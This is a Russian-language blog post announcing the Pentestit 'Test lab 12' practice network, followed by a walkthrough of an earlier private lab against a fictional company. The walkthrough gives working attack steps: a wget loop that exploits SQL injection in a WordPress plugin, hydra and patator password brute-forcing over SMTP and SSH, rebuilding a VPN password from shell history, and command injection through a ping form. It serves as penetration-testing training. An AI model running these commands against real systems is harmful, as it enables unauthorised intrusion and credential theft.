Разминка перед Pentestit Lab 12

Сегодня 14.12.2018 в 12:00 по московскому времени запущена новая лаборатория тестирования на проникновение «Test lab 12», представляющая собой копию реальной корпоративной сети с присущими ей уязвимостями и ошибками конфигурации.

На сайте лаборатории уже зарегистрировано более 25 000 участников, среди которых ведущие специалисты в области информационной безопасности крупнейших российских и международных компаний.

Ниже представлена информация о составе новой лаборатории, примеры поиска и эксплуатации уязвимостей и материал для подготовки.
Основной упор в лабораториях делается на реалистичность: ИТ структура проектируется по аналогии с корпоративными сетями компаний, приближая действия атакующих к реальному взлому.

Участники, выступающие в роли злоумышленников, пытаются эксплуатировать заложенные уязвимости, и, в случае успеха, получают доступ к отдельным узлам лаборатории, каждый из которых содержит токен.

Победителем считается участник, первым собравший все токены, то есть фактически получивший полный контроль над виртуальной корпоративной сетью.

Каждый желающих, вне зависимости от уровня квалификации, может проверить навыки тестировании на проникновение в условиях, максимально приближенных к реальным, при этом не нарушая законодательство.

Новая лаборатория будет состоять из распределенной компьютерной сети, представленной в виде нескольких периметров с разным уровнем сложности проникновения.

Проще всего «пробьется» первый (внешний) периметр, далее продвижение усложнится.

В самом сложном секторе мы размещаем уязвимости, эксплуатация которых затруднительна при большом количестве участников.

Такой подход позволяет решить сразу две задачи:

  • позволить всем желающим оценить свои навыки в лаборатории, при этом сохранив ее реалистичность;
  • устранить ситуацию, при которой выполняя эксплуатацию определенных типов уязвимостей или проводя атаку участники мешают друг другу.

В фильме снимались В лаборатории использовались:

  • Различные сетевые сервисы (Mail, DNS, AD и VPN и т.д.), SIEM и СУБД;
  • WebApp и API (PHP, Python, Django, Java);
  • Самописные Desktop-приложения;
  • Дополнительные вспомогательные сервисы для придания реалистичности.

Для прохождения лаборатории потребуются:

  • навыки работы с различными сетевыми протоколами;
  • умение анализировать данные из SIEM-системы, настраивать фильтры корреляции и прочее;
  • опыт реверс-инжиниринга;
  • опыт поиска уязвимостей в сетевых сервисах и веб-приложениях.

Тестирование на проникновение приватной лаборатории

Мы решили выложить выполнение нескольких заданий прошедшей приватной лаборатории, которую разрабатывали этим летом, чтобы помочь начинающим специалистам быстрее получить базовые компетенции.

Вся информация относительно состава лаборатории (системы, пользователи и прочее) является вымышленной и служит только для создания ее реалистичного образа.

Описанные в статье техники тестирования на проникновение носят обучающий характер. Не нарушайте законодательство.

Вся структура вымышленной организации «UNIONSEC», состоявшей из 15 серверов, располагалась за шлюзом 192.168.102.10, доступного после установки VPN-соединения. Перед участниками ставилась задача — выполнить компрометацию корпоративной сети лаборатории.

Результатом эксплуатации каждой заложенной уязвимости являлся токен, который необходимо было передать через форму на странице lab.pentestit.ru.

Лабораторию атаковали 7 команд по двое участников, но никому не удалось скомпрометировать всю сеть. Тем не менее, некоторые команды показали достойный результат.

Работа в лаборатории требовала опыта работы с различным инструментарием и навыки проведения тестирования на проникновения

Кроме этого, некоторые задания невозможно было выполнить без знаний в области разработки и реверс-инженерии.

Учитывая ограниченное время, которое выдавалось участникам на выполнения заданий, выполнение практически половины заданий, на наш взгляд, является достойным результатом.


Разведка

С помощью утилиты nmap получаем список открытых портов:

nmap 192.168.102.10 -sV


Сайт компании

По адресу 192.168.102.10 в разделе «Contact us» видим список E-mail адресов:

По HTML-коду приложения можно предположить, что оно использует CMS «Wordpress» и содержит плагин «wp-symposium-15.1».

Через www.exploit-db.com определяем, что плагин уязвим к SQL-инъекции. Через URI

192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size="

пытаемся произвести эксплуатацию уязвимости, используя BASH-скрипт:

!/bin/bash
for ((i=0; i<= 10; i++))IP
do
wget --no-proxy -q -O- "http://192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size=SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA limit 1 offset $i; --"
echo ""
done

Получаем список баз данных:

information_schema
wp_db

а после эксплуатации уязвимости — и токен:

wget -q -O- 192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size=* from token; --"


Почта

Производим перебор паролей средствами hydra:

hydra smtp://192.168.101.10 -s 25 -L /tmp/emails -P /tmp/pass

Используя полученные данные, производим авторизацию в WUI почтового сервера и получаем токен:


OpenVPN

Подключение

С веб-севера http://192.168.102.10:88 производим загрузку файла «openvpn.conf». Выполнив сканирование сервера (например, утилитой DirBuster), находим .bash_history:

-bash: generating new OpenVPN password for user admin: command not found
-bash: generating: command not found
-bash: date +%F: command not found
-bash: echo "admin:`date +%F | md5sum | sed -s 's/ -//'`" > /etc/openvpn/user.pass: command not found
cat /etc/openvpn/user.pass
service openvpn restart
exit

в котором можно найти имя пользователя, а также алгоритм генерации пароля. Для воспроизведения ранее созданного пароля используем точную дату создания файла:

и выполняем преобразование согласно истории команд. Полученный пароль используем для VPN-аутентификации.

Сканирование сервера

Подключившись к VPN, выполним сканирование портов сервера:

Получаем токен по адресу http://10.255.0.1:8080:


TERMINAL

VPN-сервер передает нам нескольких маршрутизацию до внутренних сетей, после сканирования которых обнаруживаем несколько хостов с открытым 22 портом. Пробуем авторизоваться под учетной записью dev. Подключившись на один из серверов, обнаруживаем наличие директории /home/support и пытаемся произвести подбор пароля для одноименной учетной записи:

patator ssh_login host=192.168.11.5 user=support password=FILE0 0=usr/share/wordlists/rockyou.txt -x ignore:fgrep='Authentication failed'

Подобрав пароль, получаем токен, расположенный в домашнем каталоге:

Реверс-инжиниринг

На сервере TERMINAL нам удается найти исполняемый файл admin.bin, действие которого завершается на запросе пароля. При помощи реверса получаем пароль fv34cm3cm , который представляет собой токен. При его вводе нам выдается SSH PRIVATE KEY.

С приватного ключа производим аутентификацию на сервере 192.168.11.2, в котором в каталоге /opt/обнаруживаем файл dump.pcap. Анализируем дамп сетевого трафика из файла и извлекаем токен, а также пароль для BASIC-авторизации на веб-сервере 192.168.11.3:

tcpdump -r /tmp/dump.pcap -A | grep token


API

На 192.168.11.3 располагается API, доступный с ПК администратора. Используя трансляцию портов (например, через SSH), начинаем его исследование.

Выполнив эксплуатацию обнаруженной в API уязвимости получаем токен, являющийся частью пароля пользователя admin:

По адресу http://172.16.0.4 доступно веб-приложение, которое находится в процессе разработки. Из файла readme.html получаем список разрабатываемых страниц:

При открытии http://172.16.0.4/availability.php получаем ошибку. Пробуем повторить действие, используя параметр REFERRER http://172.16.0.4/index.html, после чего становится доступна форма с кнопкой ping:

Убедившись, что поле ввода не имеет фильтрации, получаем токен:


Подключаемся по SSH к серверу 172.16.0.1. После авторизации нас встречает скрипт, который запрашивает PIN-код (5 цифр):

Используя самописный скрипт подбора пароля, получаем полноценный доступ к консоли и находим в папке пользователя файл с токен:


 

Назад в будущее

Чтобы быстрее освоиться в новой, 12-й лаборатории, мы подготовили небольшой список материалов и инструментов:

  • Инструментарий: Nmap, SQLmap, Burp Suite, WPScan, Nikto/DirBuster/w3af, Dig, Patator/Hydra, IDA Pro

До встречи в «Test lab 12» и пусть победит сильнейший!

Отдельное спасибо организатору и автору статьи Романову Роману.